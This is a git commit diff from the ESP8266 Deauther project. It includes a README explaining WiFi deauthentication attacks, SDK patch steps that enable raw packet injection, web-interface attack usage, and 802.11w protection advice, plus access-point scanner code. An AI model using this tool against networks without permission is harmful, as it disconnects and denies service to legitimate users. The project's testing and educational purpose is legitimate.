Version 1

This commit is contained in:
Janith Sandamal 2022-09-12 02:30:03 +05:30
parent 02d5ad0d2a
commit a5b16bf011
204 changed files with 32117 additions and 70460 deletions

35
.gitignore vendored
View File

@ -1,12 +1,33 @@
*.bin
# Object files
*.o
*.ko
*.obj
*.elf
*.map
# Precompiled Headers
*.gch
*.pch
.DS_Store
# Libraries
*.lib
*.a
*.la
*.lo
*.pyc
# Shared objects (inc. Windows DLLs)
*.dll
*.so
*.so.*
*.dylib
utils/web_converter/css_html_js_minify/__pycache__/
# Executables
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
# Debug files
*.dSYM/
*.su

5
CONTRIBUTING.md Normal file
View File

@ -0,0 +1,5 @@
Please only make pull requests to the [testing branch](https://github.com/spacehuhn/esp8266_deauther/tree/testing) to avoid future conflicts.
The `testing` branch is merged with `master` on every release.
**Issues** should contain a detailed description with as much information as possible!
Also note that issues are for resolving bugs and not to solve YOUR upload error. Please read the [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ), [README](https://github.com/spacehuhn/esp8266_deauther/blob/master/README.md) and search for similar issues before posting a new one.

31
ISSUE_TEMPLATE.md Normal file
View File

@ -0,0 +1,31 @@
Please fill the info fields, it helps to get you faster support ;)
If you have a Guru Meditation Error, please decode it:
https://github.com/me-no-dev/EspExceptionDecoder
----------------------------- Remove above -----------------------------
### Hardware/Flashing:
Board: ?ESP8266 dev module?Tindie OLED?Wemos Mini?Other (specify)?
Using OLED: ?YES?NO?
Using WebServer: ?YES?NO?
Using Serial: ?YES?NO?
Installation mode: ?binary?source?
Code/binary version: ?1.5?1.6?
Flash size: ?1M/512K?
Flash method: ?esptool?Arduino IDE?
Flash Frequency: ?40Mhz?
Upload Speed: ?115200?
Powered by: ?USB?Battery?
### Description:
Describe your problem here, provide as many details as possible.
Make sure you read the FAQ first, incomplete bug reports will be CLOSED without notice.
What you're expecting: ---
What you get instead: ---
### Debug Messages:
```
Put the serial output here

View File

@ -1,8 +1,6 @@
Do not redistribute, advertise or sell this software as a "jammer"!!!
MIT License
Copyright (c) 2020 Spacehuhn Technologies
Copyright (c) 2017 Stefan Kremser
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@ -14,10 +12,12 @@ furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
Do not redistribute, advertising or sell of this softwae as "jammer"!
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
SOFTWARE.

349
README.md
View File

@ -1,115 +1,298 @@
# ESP8266 Deauther Version 2
# ESP8266 Deauther
Deauthentication attack and other exploits using an ESP8266!
<img width="100%" alt="esp8266 deauther with smartphone" src="screenshots/smartphone_and_deauther.jpg">
<p align="center">
<img alt="PICTURE logo" src="https://raw.githubusercontent.com/wiki/spacehuhn/esp8266_deauther/img/deauther_logo.png" width="200">
<br>
<b>Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners!</b>
<br>
<br>
🐦 <a href="https://twitter.com/spacehuhn">Twitter</a>
| 📺 <a href="https://www.youtube.com/channel/UCFmjA6dnjv-phqrFACyI8tw">YouTube</a>
| 🌍 <a href="https://spacehuhn.de">spacehuhn.de</a><br/>
<br />
<b>Support me and my projects by purchasing one of the <a href="https://github.com/spacehuhn/esp8266_deauther/#supported-devices">official deauther boards</a>.<br/>Or become my patron on <a href="https://patreon.com/spacehuhn" target="_blank">patreon.com/spacehuhn</a>.</b>
</p>
## Difference to Version 3
## Contents
- [Introduction](#introduction)
- [What it is and how it works](#what-it-is-and-how-it-works)
- [How to protect yourself against it](#how-to-protect-yourself-against-it)
- [Disclaimer](#disclaimer)
- [Supported Devices](#supported-devices)
- [Installation](#installation)
- [Uploading the bin files](#uploading-the-bin-files)
- [Compiling the source with Arduino](#compiling-the-source-with-arduino)
- [Adding an OLED display](#adding-an-oled-display)
- [How to use it](#how-to-use-it)
- [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ)
- [License](#license)
- [Sources and additional links](#sources-and-additional-links)
- [Custom Design Versions](#custom-design-versions)
- [Videos](#videos)
- [Sources](#sources)
[Version 3](https://github.com/SpacehuhnTech/esp8266_deauther/tree/v3) is in development. It is stable to use, but it is very different.
It is command line based, which allows it to offer not just more features, but make them more customizable.
## Introduction
| Feature | Version 2 | Version 3 |
| ------- | --------- | --------- |
| Web Interface | ✅ | |
| Display support | ✅ | |
| Serial Command Line | ✅ | ✅ |
| Scanner | ✅ | ✅ |
| Deauth attack | ✅ | ✅ |
| Beacon attack | ✅ | ✅ |
| Probe attack | ✅ | ✅ |
| [Huhnitor](https://github.com/spacehuhntech/huhnitor) support | | ✅ |
| Signal strength scanner | | ✅ |
| Authentication scanner | | ✅ |
| Rogue AP | | ✅ |
### What it is and how it works
## Installation
This software allows you to perform a [deauth attack](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) with an ESP8266 against selected networks.
The [ESP8266](https://en.wikipedia.org/wiki/ESP8266) is a cheap and easy to use Wi-Fi SoC (System-on-a-Chip), programmable with the [Arduino IDE](https://www.arduino.cc/en/Main/Software).
With this software flashed onto it, you can select a target network and start different attacks.
Please refer to the [installation guide in our wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki/Installation).
If you're just looking for the .bin files, go to [releases](https://github.com/spacehuhn/esp8266_deauther/releases).
The deauth attack will, if the connection is vulnerable, disconnect the devices from the network. Because the attack is running constantly, the devices will be disconnected again and again. Depending on the network, that can either block a connection or slow it down.
## About this project
This software allows you to easily perform a variety of actions to test 802.11 wireless networks by using an inexpensive ESP8266 WiFi SoC (System On A Chip).
**The difference between deauthing and jamming:** [WiFi Jammers vs Deauthers | What's The Difference?](https://www.youtube.com/watch?v=6m2vY2HXU60)
The main feature, the deauthentication attack, is used to disconnect devices from their WiFi network.
No one seems to care about this huge vulnerability in the official 802.11 WiFi standard, so I took action and enabled everyone who has less than 10 USD to spare to recreate this project.
I hope it raises more attention on the issue. In 2009 the WiFi Alliance actually fixed the problem (see [802.11w](https://en.wikipedia.org/wiki/IEEE_802.11w-2009)), but only a few companies implemented it into their devices and software.
To effectively prevent a deauthentication attack, both client and access point must support the 802.11w standard with protected management frames (PMF).
While most client devices seem to support it when the access point forces it, basically no WiFi access point has it enabled.
Other attacks also have been implemented, such as beacon and probe request flooding.
Feel free to test your hardware out, annoy these companies with the problem, share this project and push for a fix!
This project is also a great way to learn more about WiFi, micro controllers, Arduino, hacking and electronics/programming in general.
**But please use this tool responsibly and do not use it against others without their permission!**
The deauth attack works by exploiting an old and known vulnerability in the 802.11 Wi-Fi protocol.
Because these [deauthentication frames](https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/), usually used to close a Wi-Fi connection safely, are unencrypted, it's very easy to spoof them. You only need the mac address of the access point, which you can sniff easily.
If you don't want to attack all connected devices, you can also scan for connections and attack them specifically.
## WiFi Jammer
**Is deauthing legal?** [WiFi Jammers/Deauthers | Legal?](https://www.youtube.com/watch?v=IromynQ1srI)
Many refer to this project as a WiFi jammer. This is problematic, because this firmware is **not** turning your ESP8266 into a radio or frequency jammer. But this is how most people imagine it without further explaination.
### How to protect yourself against it
So if you like to learn more about the difference, we made a whole video about it:
[![Deauther or Jammer: What's the difference?](https://img.youtube.com/vi/gOyfD44A7rE/0.jpg)](https://www.youtube.com/watch?v=gOyfD44A7rE)
With [802.11w-2009](https://en.wikipedia.org/wiki/IEEE_802.11w-2009) the Wi-Fi protocol became encrypted management (and deauthentication) frames. This makes spoofing these packets way harder and the attack, in this form, ineffective.
So make sure your router is up to date and has management frame protection enabled. Your client device (e.g your phone, notebook etc.) needs to support that too. Both ends of the connection need to use it!
## Supported Development Boards
The problem with that is, most routers use unencrypted managment frames by default, don't provide any option to change that and don't provide any information about this issue.
I tested several networks and couldn't find one that wasn't vulnerable!
This firmware can run on any **ESP8266**, not however on the ESP32!
The most popular development boards, the `NodeMCU` and `Wemos d1 mini`, work great for this project.
If you like to support our work, you can buy get a boards made with this project in mind.
They come preflashed with the firmware, so you can start right away.
You can chose between:
**[Spacehuhn Store](https://spacehuhn.store)**:
Our very own store where all revenue goes directly to us and towards the development of new and exciting projects :)
We manufacture and ship from Germany.
**[Maltronics](https://maltronics.com/)**:
We partnered with Maltronics to bring you high quality hacking gadgets.
They are based in the UK.
**[DSTIKE](https://dstike.com/)**:
DSTIKE was our first partner. They manufactured the first official deauther boards.
They offer a wide range of deauthers in a variety of form factors, including a smart watch.
They are based in China, but their products are available through a variety of stores:
- [Tindie](https://tindie.com/stores/lspoplove)
- [AliExpress](https://dstike.aliexpress.com/store/2996024)
- [Taobao](https://shop135375846.taobao.com)
I made a [Deauth Detector](https://github.com/spacehuhn/DeauthDetector) using the same ESP8266 to indicate high amounts of deauth frames. It can't protect you, but it can help you figure out if and when an attack is going on.
## Disclaimer
This project is a proof of concept for testing and educational purposes.
Neither the ESP8266, nor its SDK was meant or built for such purposes. Bugs can occur!
**This project is a proof of concept for testing and educational purposes.**
Neither the ESP8266, nor its SDK was meant or build for such purposes.
Bugs can occur!
Use it only against your own networks and devices!
I don't take any responsibility for what you do with this program.
Please check the legal regulations in your country before using it.
We don't take any responsibility for what you do with this program.
**It is not a frequency jammer as claimed falsely by many people.** Its attack, how it works and how to protect against it is described above. It uses valid Wi-Fi frames described in the official 802.11 standard and doesn't block or disrupt any frequencies.
## Acknowledgements
My intention with this project is to draw more attention on this issue.
This attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
**A solution is already there, why don't we use it?**
A huge thanks to:
Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!
- [@deantonious](http://github.com/deantonious)
- [@jLynx](https://github.com/jLynx)
- [@lspoplove](https://github.com/lspoplove)
- [@schinfo](https://github.com/schinfo)
- [@tobozo](https://github.com/tobozo)
- [@xdavidhu](https://github.com/xdavidhu)
- [@PwnKitteh](https://github.com/PwnKitteh)
## Supported Devices
for helping out with various things regarding this project and keeping it alive!
Also thanks to everyone working on the libraries used for this project:
**You can flash this software yourself onto any ESP8266**, but if you would like to support me, you can get one of the DSTIKE development boards that are made for this project and come with everything preinstalled!
Here is the link to Travis Lin's shop who makes them:
- [AliExpress](https://dstike.aliexpress.com/store/2996024)
- [Tindie](https://tindie.com/stores/lspoplove)
- [Taobao](https://shop135375846.taobao.com)
## Installation
- [esp8266-oled-ssd1306](https://github.com/ThingPulse/esp8266-oled-ssd1306)
- [ArduinoJson](https://github.com/bblanchon/ArduinoJson)
- [Adafruit_DotStar](https://github.com/adafruit/Adafruit_DotStar)
- [Adafruit_NeoPixel](https://github.com/adafruit/Adafruit_NeoPixel)
- [DS3231](https://github.com/NorthernWidget/DS3231)
- [my92xx](https://github.com/xoseperez/my92xx)
You have 2 choices here. Uploading the .bin files is easier, but not as good for debugging.
**YOU ONLY NEED TO DO ONE OF THE INSTALLATION METHODS!**
We also thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online!
### Uploading the bin files
**0** Download the current release from [releases](https://github.com/spacehuhn/esp8266_deauther/releases)
Always use the 1mb version, unless you're sure that your ESP8266 only has 512kb flash memory.
**Note:** the 512kb version won't have the full mac vendors list.
**1** Upload using the ESP8266 flash tool of your choice:
- [nodemcu-flasher](https://github.com/nodemcu/nodemcu-flasher) [Windows only]
- [esptool-gui](https://github.com/Rodmg/esptool-gui) [Windows, MacOS]
- [esptool](https://github.com/espressif/esptool) [Windows, MacOS, Linux]
**That's all!**
Make sure your settings are correct for your board. Most boards come with 4mb flash and sometimes you have to hold the flash button down while plugging it in and hold it until the flashing process started.
Also make sure you select the right com-port, the right upload size (mostly 4mb) and the correct .bin file.
If it's not working, you can try using the Arduino as descriped below.
### Compiling the source with Arduino
**0** Download the source code of this project.
**1** Install [Arduino](https://www.arduino.cc/en/Main/Software) and open it.
**2** Go to `File` > `Preferences`
**3** Add `http://arduino.esp8266.com/stable/package_esp8266com_index.json` to the Additional Boards Manager URLs. (source: https://github.com/esp8266/Arduino)
**4** Go to `Tools` > `Board` > `Boards Manager`
**5** Type in `esp8266`
**6** Select version `2.0.0` and click on `Install` (**must be version 2.0.0!**)
![screenshot of arduino, selecting the right version](screenshots/arduino_screenshot_1.JPG)
**7** Go to `File` > `Preferences`
**8** Open the folder path under `More preferences can be edited directly in the file`
![screenshot of arduino, opening folder path](screenshots/arduino_screenshot_2.JPG)
**9** Go to `packages` > `esp8266` > `hardware` > `esp8266` > `2.0.0` > `tools` > `sdk` > `include`
**10** Open `user_interface.h` with a text editor
**11** Scroll down and before `#endif` add following lines:
```
typedef void (*freedom_outside_cb_t)(uint8 status);
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
void wifi_unregister_send_pkt_freedom_cb(void);
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
```
![screenshot of notepad, copy paste the right code](screenshots/notepad_screenshot_1.JPG)
**don't forget to save!**
**12** Go to the SDK_fix folder of this project
**13** Copy ESP8266Wi-Fi.cpp and ESP8266Wi-Fi.h
**14** Paste these files here `packages` > `esp8266` > `hardware` > `esp8266` > `2.0.0` > `libraries` > `ESP8266WiFi` > `src`
**15** Open `esp8266_deauther` > `esp8266_deauther.ino` in Arduino
**16** Select your ESP8266 board at `Tools` > `Board` and the right port at `Tools` > `Port`
If no port shows up you may have to reinstall the drivers.
**17** Depending on your board you may have to adjust the `Tools` > `Board` > `Flash Frequency` and the `Tools` > `Board` > `Flash Size`. I use a `160MHz` flash frequency and a `4M (3M SPIFFS)` flash size.
**18** Upload!
**19** Install the [ESP8266 Sketh Data uploader](https://github.com/esp8266/arduino-esp8266fs-plugin) plugin, your mileage may vary depending on your version of Arduino IDE.
**20** Restart Arduino IDE, reopen the project, and from the "tools" menu, choose "ESP8266 Sketch Data Upload".
**Note:** If you use a 512kb version of the ESP8266, you will need to comment out a part of the mac vendor list in data.h. Otherwise it will use too much memory to fit on 512kb.
**Your ESP8266 Deauther is now ready!**
### Updating the MAC vendor list
The utils folder includes a python script for downloading the latest ["manuf"](https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf) file from Whireshark and convert it to the format understood by esp8266_deauther.
The usage of the script is quite simple: `update_manuf.py [-h] [-o OUTPUT] [-u URL]` , e.g:
```
cd utils
python update_manuf.py -o ../esp8266_deauther/oui.h
```
### Adding an OLED display
![image of the esp8266 deauther with an OLED and three buttons](screenshots/esp8266_with_oled.jpg)
I included 2 extra .bin files for the display version on the release page.
One for the 0.96" SSD1306 OLED and one for the 1.3" SH1106 OLED.
| Display | ESP8266 |
| ------- | ------- |
| SDA | 5 (D1) |
| SCL | 4 (D2) |
| GND | GND |
| VCC | VCC (3.3V) |
The buttons have to be between following pins and GND:
| Button | ESP8266 |
| ------ | ------- |
| up | 12 (D6) |
| down | 13 (D7) |
| select | 14 (D5) |
If you use Arduino, you have will need to install this library: https://github.com/squix78/esp8266-oled-ssd1306.
Then you only need to uncomment `//#define USE_DISPLAY` in the beginning of the sketch.
Below that, you can customize the settings:
```
//create display(Adr, SDA-pin, SCL-pin)
SSD1306 display(0x3c, 5, 4); //GPIO 5 = D1, GPIO 4 = D2
//SH1106 display(0x3c, 5, 4);
//button pins
#define upBtn 12 //GPIO 12 = D6
#define downBtn 13 //GPIO 13 = D7
#define selectBtn 14 //GPIO 14 = D5
#define displayBtn 0 //GPIO 0 = FLASH BUTTON
```
## How to use it
First start your ESP8266 by plugging it in and giving it power.
Scan for Wi-Fi networks and connect to `pwned`. The password is `deauther`.
Once connected, you can open up your browser and go to `192.168.4.1`.
You can now scan for networks...
![webinterface AP scanner](screenshots/web_screenshot_1.JPG)
scan for client devices...
![webinterface client scanner](screenshots/web_screenshot_2.JPG)
Note: While scanning the ESP8266 will shut down its access point, so you may have to go to your settings and reconnect to the Wi-Fi network manually!
...and start different attacks.
![webinterface attack menu](screenshots/web_screenshot_3.JPG)
For more information please read the [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ).
## License
This software is licensed under the MIT License. See the [license file](LICENSE) for details.
## Sources and additional links
### Custom Design Versions
![Screenshot of 'Wi-PWN'](https://raw.githubusercontent.com/samdenty99/Wi-PWN/master/pictures/secondary-banner.png)
[Wi-PWN](https://github.com/samdenty99/Wi-PWN) - By [@samdenty99](https://github.com/samdenty99)
![Screenshot of 'Modern and Consistent'](https://raw.githubusercontent.com/Wandmalfarbe/esp8266_deauther/master/screenshots/web_screenshot_1.png)
[Modern and Consistent](https://github.com/Wandmalfarbe/esp8266_deauther) - By [@Wandmalfarbe](https://github.com/Wandmalfarbe)
<img height="400" alt="Screenshot of DeAutherDroid App" src="https://raw.githubusercontent.com/ExploiTR/DeAutherDroid/master/screenshots/device-2017-08-13-143401.png">
[DeAutherDroid Android APP](https://github.com/ExploiTR/DeAutherDroid) - By [@ExploiTR](https://github.com/ExploiTR)
### Videos
[![Explaining WFi Deauthing and Jammers (And the problem with 802.11)](https://img.youtube.com/vi/GUZyCV5c1SY/0.jpg)](https://www.youtube.com/watch?v=GUZyCV5c1SY)
[![Cheap Wi-Fi 'Jammer' Device | NodeMCU](https://img.youtube.com/vi/oQQhBdCQOTM/0.jpg)](https://www.youtube.com/watch?v=oQQhBdCQOTM)
[![Wifi 'Jammer' Device V1.1 | Setup Tutorial](https://img.youtube.com/vi/r5aoV5AolNo/0.jpg)](https://www.youtube.com/watch?v=r5aoV5AolNo)
[![WiFi Tutorial "Deauthing Made Simple"](https://img.youtube.com/vi/SswI-J-M2SE/0.jpg)](https://www.youtube.com/watch?v=SswI-J-M2SE)
[![Seguridad Inalámbrica | Explicación de Wifi Deauther en Español](https://img.youtube.com/vi/YYsSDXRgD10/0.jpg)](https://www.youtube.com/watch?v=YYsSDXRgD10)
[![WiFi Jammers/Deauthers | Legal?](https://img.youtube.com/vi/IromynQ1srI/0.jpg)](https://www.youtube.com/watch?v=IromynQ1srI)
[![WiFi Jammers vs Deauthers | What's The Difference?](https://img.youtube.com/vi/6m2vY2HXU60/0.jpg)](https://www.youtube.com/watch?v=6m2vY2HXU60)
### Sources
deauth attack: https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
deauth frame: https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/
ESP8266:
* https://en.wikipedia.org/wiki/ESP8266
* https://espressif.com/en/products/hardware/esp8266ex/overview
packet injection with ESP8266:
* http://hackaday.com/2016/01/14/inject-packets-with-an-esp8266/
* http://bbs.espressif.com/viewtopic.php?f=7&t=1357
* https://github.com/pulkin/esp8266-injection-example
802.11w-2009: https://en.wikipedia.org/wiki/IEEE_802.11w-2009
Wi-Fi_send_pkt_freedom function limitations: https://esp32.com/viewtopic.php?t=586

314
esp8266_deauther/APScan.cpp Normal file
View File

@ -0,0 +1,314 @@
#include "APScan.h"
APScan::APScan() {
}
bool APScan::start() {
if (debug) {
Serial.println("starting AP scan...");
Serial.println("MAC - Ch - RSSI - Encrypt. - SSID - Hidden");// - Vendor");
}
aps._clear();
results = 0;
for (int i = 0; i < maxAPScanResults; i++){
selected[i] = false;
String("").toCharArray(names[i], 33);
}
results = WiFi.scanNetworks(false, settings.apScanHidden); // lets scanNetworks return hidden APs. (async = false & show_hidden = true)
if(results > maxAPScanResults) results = maxAPScanResults;
if (debug) Serial.println("Scan results: "+(String)results);
for (int i = 0; i < results && i < maxAPScanResults; i++) {
Mac _ap;
_ap.set(WiFi.BSSID(i)[0], WiFi.BSSID(i)[1], WiFi.BSSID(i)[2], WiFi.BSSID(i)[3], WiFi.BSSID(i)[4], WiFi.BSSID(i)[5]);
aps.add(_ap);
channels[i] = WiFi.channel(i);
rssi[i] = WiFi.RSSI(i);
encryption[i] = WiFi.encryptionType(i);
hidden[i] = WiFi.isHidden(i);
String _ssid = WiFi.SSID(i);
_ssid.toCharArray(names[i], 33);
//data_getVendor(WiFi.BSSID(i)[0],WiFi.BSSID(i)[1],WiFi.BSSID(i)[2]).toCharArray(vendors[i],9);
if (debug) {
Serial.print((String)i);
Serial.print(" - ");
_ap._print();
Serial.print(" - ");
Serial.print(channels[i]);
Serial.print(" - ");
Serial.print(rssi[i]);
Serial.print(" - ");
Serial.print(getEncryption(encryption[i]));
Serial.print(" - ");
Serial.print(names[i]);
Serial.print(" - ");
Serial.print(hidden[i]);
//Serial.print(" - ");
//Serial.print(vendors[i]);
Serial.println();
}
}
//for debugging the APScan crash bug
/*
if(debug){
for(int i=results;i<maxAPScanResults;i++){
Mac _ap;
_ap.set(random(255),random(255),random(255),random(255),random(255),random(255));
aps.add(_ap);
channels[i] = random(1,12);
rssi[i] = random(-30,-90);
encryption[i] = ENC_TYPE_NONE;
String _ssid = "test_dbeJwq3tPtJsuWtgULgShD9dxXV";
_ssid.toCharArray(names[i],33);
Serial.print((String)i);
Serial.print(" - ");
_ap._print();
Serial.print(" - ");
Serial.print(channels[i]);
Serial.print(" - ");
Serial.print(rssi[i]);
Serial.print(" - ");
Serial.print(getEncryption(encryption[i]));
Serial.print(" - ");
Serial.print(names[i]);
Serial.println();
results++;
}
}
*/
if (debug) Serial.println("scan done");
return true;
}
String APScan::getEncryption(int code) {
switch (code) {
case ENC_TYPE_NONE:
return "none";
break;
case ENC_TYPE_WEP:
return "WEP";
break;
case ENC_TYPE_TKIP:
return "WPA";
break;
case ENC_TYPE_CCMP:
return "WPA2";
break;
case ENC_TYPE_AUTO:
return "WPA*";
break;
}
return "?";
}
String APScan::getAPName(int num) {
//if (isHidden(num)) return "* Hidden SSID *";
return names[num];
}
String APScan::getAPEncryption(int num) {
return getEncryption(encryption[num]);
}
//String APScan::getAPVendor(int num){ return vendors[num]; }
String APScan::getAPMac(int num) {
return aps._get(num).toString();
}
bool APScan::isHidden(int num) {
return hidden[num];
}
int APScan::getAPRSSI(int num) {
return rssi[num];
}
int APScan::getAPChannel(int num) {
return channels[num];
}
int APScan::getFirstTarget() {
for (int i = 0; i < maxAPScanResults; i++) {
if (isSelected(i)) return i;
}
return -1;
}
String APScan::sanitizeJson(String input){
input.replace("\\","\\\\");
input.replace("\"","\\\"");
input.replace("/","\\/");
input.replace("\b","\\b");
input.replace("\f","\\f");
input.replace("\n","\\n");
input.replace("\r","\\r");
input.replace("\t","\\t");
return input;
}
void APScan::sendResults() {
if (debug) Serial.print("sending AP scan result JSON ");
size_t _size = 25; // {"aps":[ ... ],"multiAPs":"1"}
for (int i = 0; i < results && i < maxAPScanResults; i++) {
/*
_size++; // {
_size += 5; // "i": ,
_size += String(i).length();
_size += 5; // "c": ,
_size += String(getAPChannel(i)).length();
_size += 24; // "m":"d4:21:22:da:85:f3",
_size += 8; // "ss":" ",
_size += getAPName(i).length();
_size += 5; // "r": ,
_size += String(getAPRSSI(i)).length();
_size += 6; // "e": ,
_size += 6; // "se":0
_size++; // }*/
_size += 67;
_size += String(i).length();
_size += String(getAPChannel(i)).length();
_size += sanitizeJson(getAPName(i)).length();
_size += String(getAPRSSI(i)).length();
if ((i != results - 1) && (i != maxAPScanResults - 1)) _size++; // ,
}
sendHeader(200, "text/json", _size);
String json;
int bufc = 0; //bufferCounter
json = "{\"aps\":[";
sendToBuffer(json);
for (int i = 0; i < results && i < maxAPScanResults; i++) {
if (debug) Serial.print(".");
json = "{";
json += "\"i\":" + (String)i + ",";
json += "\"c\":" + (String)getAPChannel(i) + ",";
json += "\"m\":\"" + getAPMac(i) + "\",";
json += "\"ss\":\"" + sanitizeJson(getAPName(i)) + "\",";
json += "\"r\":" + (String)getAPRSSI(i) + ",";
json += "\"e\":" + (String)encryption[i] + ",";
//json += "\"v\":\""+getAPVendor(i)+"\",";
json += "\"h\":" + (String)hidden[i] + ",";
json += "\"se\":" + (String)isSelected(i);
json += "}";
if ((i != results - 1) && (i != maxAPScanResults - 1)) json += ",";
sendToBuffer(json);
}
json = "],\"multiAPs\":\"";
if(settings.multiAPs) json += "1";
else json += "0";
json += "\"}";
sendToBuffer(json);
sendBuffer();
if (debug) Serial.println("done");
}
String APScan::getResultsJSON() {
if (debug) Serial.print("getting AP scan result JSON ");
String json = "{ \"aps\":[ ";
for (int i = 0; i < results && i < maxAPScanResults; i++) {
if (debug) Serial.print(".");
json += "{";
json += "\"i\":" + (String)i + ",";
json += "\"c\":" + (String)getAPChannel(i) + ",";
json += "\"m\":\"" + getAPMac(i) + "\",";
json += "\"ss\":\"" + sanitizeJson(getAPName(i)) + "\",";
json += "\"r\":" + (String)getAPRSSI(i) + ",";
json += "\"e\":" + (String)encryption[i] + ",";
//json += "\"v\":\""+getAPVendor(i)+"\",";
json += "\"h\":" + (String)hidden[i] + ",";
json += "\"se\":" + (String)isSelected(i);
json += "}";
if ((i != results - 1) && (i != maxAPScanResults - 1)) json += ",";
}
json += "] }";
if (debug) {
Serial.println(json);
Serial.println("done");
}
return json;
}
void APScan::sort() {
if (debug) Serial.println("sorting APs ");
/* I know, it's bubble sort... but it works and that's the main thing! ;) (feel free to improve it tho) */
for (int i = 0; i < results - 1; i++) {
Serial.println("--------------");
for (int h = 0; h < results - i - 1; h++) {
if (rssi[h] < rssi[h + 1]) {
Serial.println("switched: " + (String)rssi[h] + " > " + (String)rssi[h + 1]);
int tmpA = channels[h];
channels[h] = channels[h + 1];
channels[h + 1] = tmpA;
tmpA = rssi[h];
rssi[h] = rssi[h + 1];
rssi[h + 1] = tmpA;
tmpA = encryption[h];
encryption[h] = encryption[h + 1];
encryption[h + 1] = tmpA;
String tmpB = names[h];
strncpy(names[h], names[h + 1], 32);
tmpB.toCharArray(names[h + 1], 32);
bool tmpC = hidden[h];
hidden[h] = hidden[h + 1];
hidden[h + 1] = tmpC;
tmpC = selected[h];
selected[h] = selected[h + 1];
selected[h + 1] = tmpC;
Mac tmpMac = aps._get(h);
aps.set(h,aps._get(h+1));
aps.set(h+1,tmpMac);
} else Serial.println((String)rssi[h] + " < " + (String)rssi[h + 1]);
}
}
}
void APScan::select(int num) {
if (debug) Serial.println("select " + (String)num + " - " + !selected[num]);
if(num < 0) {
if(num == -1){
if(settings.multiAPs) {
selectedSum = results;
for (int i = 0; i < results; i++) selected[i] = true;
}
} else {
selectedSum = 0;
for (int i = 0; i < maxAPScanResults; i++) selected[i] = false;
}
} else if(!settings.multiAPs) {
for (int i = 0; i < maxAPScanResults; i++){
if(i != num) selected[i] = false;
else selected[num] = !selected[num];
}
selectedSum = 1;
} else {
if(selected[num]) selectedSum--;
else selectedSum++;
selected[num] = !selected[num];
}
}
bool APScan::isSelected(int num) {
return selected[num];
}

61
esp8266_deauther/APScan.h Normal file
View File

@ -0,0 +1,61 @@
#ifndef APScan_h
#define APScan_h
#define maxAPScanResults 80
#include <ESP8266WiFi.h>
#include "Mac.h"
#include "MacList.h"
#include "Settings.h"
#include <ESP8266WebServer.h>
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
extern ESP8266WebServer server;
extern void sendBuffer();
extern void sendToBuffer(String str);
extern void sendHeader(int code, String type, size_t _size);
extern const bool debug;
extern Settings settings;
class APScan {
public:
APScan();
bool start();
void sort();
String getResultsJSON();
void select(int num);
void sendResults();
String getAPName(int num);
String getAPEncryption(int num);
//String getAPVendor(int num);
String getAPMac(int num);
bool isHidden(int num);
int getAPRSSI(int num);
int getAPChannel(int num);
int getFirstTarget();
bool isSelected(int num);
String sanitizeJson(String input);
int results = 0;
int selectedSum;
MacList aps;
private:
int channels[maxAPScanResults];
int rssi[maxAPScanResults];
char names[maxAPScanResults][33];
int encryption[maxAPScanResults];
bool hidden[maxAPScanResults];
String getEncryption(int code);
bool selected[maxAPScanResults];
};
#endif

View File

@ -1,730 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#define ENABLE_DEBUG
#define DEBUG_PORT Serial
#define DEBUG_BAUD 115200
#define DEFAULT_ESP8266
// #define NODEMCU
// #define WEMOS_D1_MINI
// #define HACKHELD_VEGA
// #define DISPLAY_EXAMPLE_I2C
// #define DISPLAY_EXAMPLE_SPI
// #define MALTRONICS
// #define DSTIKE_DEAUTHER_V1
// #define DSTIKE_DEAUTHER_V2
// #define DSTIKE_DEAUTHER_V3
// #define DSTIKE_DEAUTHER_V3_5
// #define DSTIKE_D_DUINO_B_V5_LED_RING
// #define DSTIKE_DEAUTHER_BOY
// #define DSTIKE_NODEMCU_07
// #define DSTIKE_NODEMCU_07_V2
// #define DSTIKE_DEAUTHER_OLED
// #define DSTIKE_DEAUTHER_OLED_V1_5_S
// #define DSTIKE_DEAUTHER_OLED_V1_5
// #define DSTIKE_DEAUTHER_OLED_V2
// #define DSTIKE_DEAUTHER_OLED_V2_5
// #define DSTIKE_DEAUTHER_OLED_V3
// #define DSTIKE_DEAUTHER_OLED_V3_5
// #define DSTIKE_DEAUTHER_OLED_V4
// #define DSTIKE_DEAUTHER_OLED_V5
// #define DSTIKE_DEAUTHER_OLED_V6
// #define DSTIKE_DEAUTHER_MOSTER
// #define DSTIKE_DEAUTHER_MOSTER_V2
// #define DSTIKE_DEAUTHER_MOSTER_V3
// #define DSTIKE_DEAUTHER_MOSTER_V4
// #define DSTIKE_DEAUTHER_MOSTER_V5
// #define DSTIKE_USB_DEAUTHER
